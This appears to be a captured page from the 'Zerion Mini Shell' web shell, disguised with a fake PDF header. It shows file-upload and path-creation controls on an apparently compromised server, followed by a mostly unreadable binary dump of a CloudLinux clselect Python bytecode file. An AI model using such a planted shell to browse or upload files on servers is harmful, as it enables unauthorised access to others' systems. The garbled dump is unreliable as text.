%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/clselect/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/clselect/__pycache__/clselectctl.cpython-37.pyc

B

��Ub�$�@s~ddlmZddlmZddlmZddlZddlZddlZddlmZddl	Z	ddl
Z
ddlZddl
mZddlmZdd	lmZdd
lmZmZddlmZmZddlmZdd
lmZddlmZddlm Z ddl!m"Z"ddl
m#Z#mZdddddddgZ$edd�Z%edd�Z&dd�Z'dd �Z(d!d"�Z)d#d$�Z*d%d&�Z+d5d'd(�Z,d)d*�Z-d6d+d,�Z.d-d.�Z/d/d0�Z0d1d2�Z1d3d4�Z2dS)7�)�absolute_import)�print_function)�divisionN)�
namedtuple)�List)�	iteritems�)�clpassenger)�cpusers�	getCPName)�drop_privileges�ClPwd)�is_no_php_binaries_on_cpanel)�ClSelectExcept)�NodeManager)�
PythonManager)�get_abs_rel)�OptionalrZpublic_htmlZrubyvenvZ
virtualenvz.cl.selectorz.cagefsZwww�nodevenv�ApplicationSummary)�user�version�doc_root�interpreter�
app_status�InterpreterSummary)r�version_full�enabled�	installedcCsld|krtd��tj�|�r$td��|ddkr8td��|tkrLtd|��t�d|�}|dkrhtd	��dS)
N� z#Directory should not contain spacesz+Directory should be relative to user's home����/z-Directory should not contain a trailing slashzDirectory "%s" not allowedz[-\.\w\/]+$z*Directory name contains invalid characters)�
ValueError�os�path�isabs�DISABLED_DIRECTORY_NAMES�re�match)�	directoryZ	all_valid�r*�E/opt/alt/python37/lib/python3.7/site-packages/clselect/clselectctl.py�check_directory&sr,cCs4xdD]}||krtd��qW|dkr*d}|�d�S)N)�#�?z./zAlias is not valid)�.�r!)r"�strip)�alias�cr*r*r+�	get_alias4s
r4cCs|�dd��dd�S)N�_r!z//)�replace)�prefixr*r*r+�
get_directory?sr8cCs|�dd��dd�S)Nr5�__r!)r6)r)r*r*r+�
get_prefixCsr:cCs,|st��}t�|�j}|dkr(td��|S)N�rootz8User parameter must be specified if current user is root)r#�geteuid�pwd�getpwuid�pw_namer")r�current_euidr*r*r+�get_userGsrAcCs,|dkrtj�|�Stj�|�o*tj�|�S)z�
    Application is valid only if binary and app_root exists
    :param binary_path: path to binary in virtual environment
    :param app_root: path to root directory of application
    :return: result of checking
    :rtype: bool
    )�nodejs�python)r#r$�isdir�isfile)r�app_rootZbinary_pathr*r*r+�_verify_applicationPsrGc
Cs�d}g}t��}x�t�D]�}ynt��rXddlm}||dd�f}ttdt	dd�|���}t
|��"t�|�|�
t|||��WdQRXWqtjk
r�wYqtk
r�t�t�}|�d||t��tt���f�YqXqW|S)	z8Find and return all apps for given interpreter on serverNr)�userdomainsT)Zas_rootcSs|r|dSdS)Nrr*)�xr*r*r+�<lambda>p�z-server_applications_summary.<locals>.<lambda>z]DEBUG: user %s present in panel but doesn't exist in system. Process euid=%d. Trace: %s at %s)r#r<r
�detect�is_daZ"clcommon.cpapi.plugins.directadminrH�list�filter�maprr=�getpwnam�extend� _user_applications_short_summaryr
�NoSuchUserException�KeyError�logging�	getLogger�__name__�error�	traceback�
format_exc�str�
extract_stack)rZdomains_dataZapplications�euidrrH�domains_list�loggerr*r*r+�server_applications_summary]s2



&rac
	csP|}|dkr�y2|dkr$ddlm}nddlm}|��|�}Wntjk
rTdSXx�t|�D]b\}}yt||�\}}	Wntjk
r�w`YnXt||�r`t	||d||d||dd	�Vq`Wn�x�tt
j||d
��D]l\}
}|d|kr�q�|d|d
}}t|||�r�tj
�tj
�tj
�|���}t	|||d|ddd	�Vq�WdS)a�
    Return generator with all applications for given user and interpreter.
    To increase performance, only a small part of the
    information about the applications is given.
    :param user: name of panel user
    :param interpreter: name of interpreter (python, ruby, etc)
    :param domains_docroots_data: total data about users domains
    :return: Generator[ApplicationSummary]
    )rBrCrBr)�ApplicationsManagerNz
%s_version�domainr)rrrrr)�userdomains_datar�binaryr)�docroot�started)�clselectnodejs.apps_managerrbZclselectpython.apps_manager�get_user_config_datar�	WrongDatarrrGrr	�summaryr#r$�basename�dirname)
rrZdomains_docroots_datardrbZconfig_data�app�datarFr5�dummyreZ
it_versionr*r*r+rS�s:

rScCs$|dkrt�jS|dkr t�jSdS)z-Return default version for given interpreter rBrCN)r�default_versionr)rr*r*r+�get_default_version�s
rrccs�|dkrt�jdd�}n|dkr0t�jdd�}nt��xnt|d�D]^\}}|ddk}|dkrxtt|�d�d	��}nd�|�d�d
d��}t	|||dd�VqDWd
S)
z.Return generator for interpreters all versionsrBT)Zinstalled_interpreters_onlyrCZavailable_versions�statusrr/rN�)rrrr)
r�get_summaryr�NotImplementedErrorrr\�int�split�joinr)r�interpretersr�version_inforZ
major_versionr*r*r+�_iter_interpreters�sr|ccsJddlm}|�}|��}x*|D]"\}}}t||d|�|�d�Vq WdS)zf
    Return generator with all PHP versions on server.
    :return: Generator[InterpreterSummary]
    r)�ClSelectT)rrN)�clselectr}�list_alternativesr�is_version_enabled)r}�php�versionsrZfull_versionr5r*r*r+�_iter_php_interpreters�sr�c	Cs�|dkr&t�dkrt�rdStt��S|dkr<ddlm}n|dkrPtt|��St�g}x(|�D]}|�t	|j
|jddd	��q`W|S)
z<Find and return all versions for given interpreter on serverr��cPanelN�rubyr)rz)rCrBT)rr)rrrNr�Zclselectruby.interpretersrzr|rv�appendrrr)rrzZit_list�itr*r*r+�"interpreter_versions_short_summary�s
r�)N)N)3�
__future__rrrr#r=r'�collectionsrrVrZ�cldetectlibrL�typingr�future.utilsrr0r	�clcommon.cpapir
r�clcommon.clpwdrr
Zclcommon.cpapi.plugins.cpanelr�clselectexceptrZclselectnodejs.node_managerrZclselectpython.python_managerr�utilsrrr&rrr,r4r8r:rArGrarSrrr|r�r�r*r*r*r+�<module>sF

	

*
1	

Zerion Mini Shell 1.0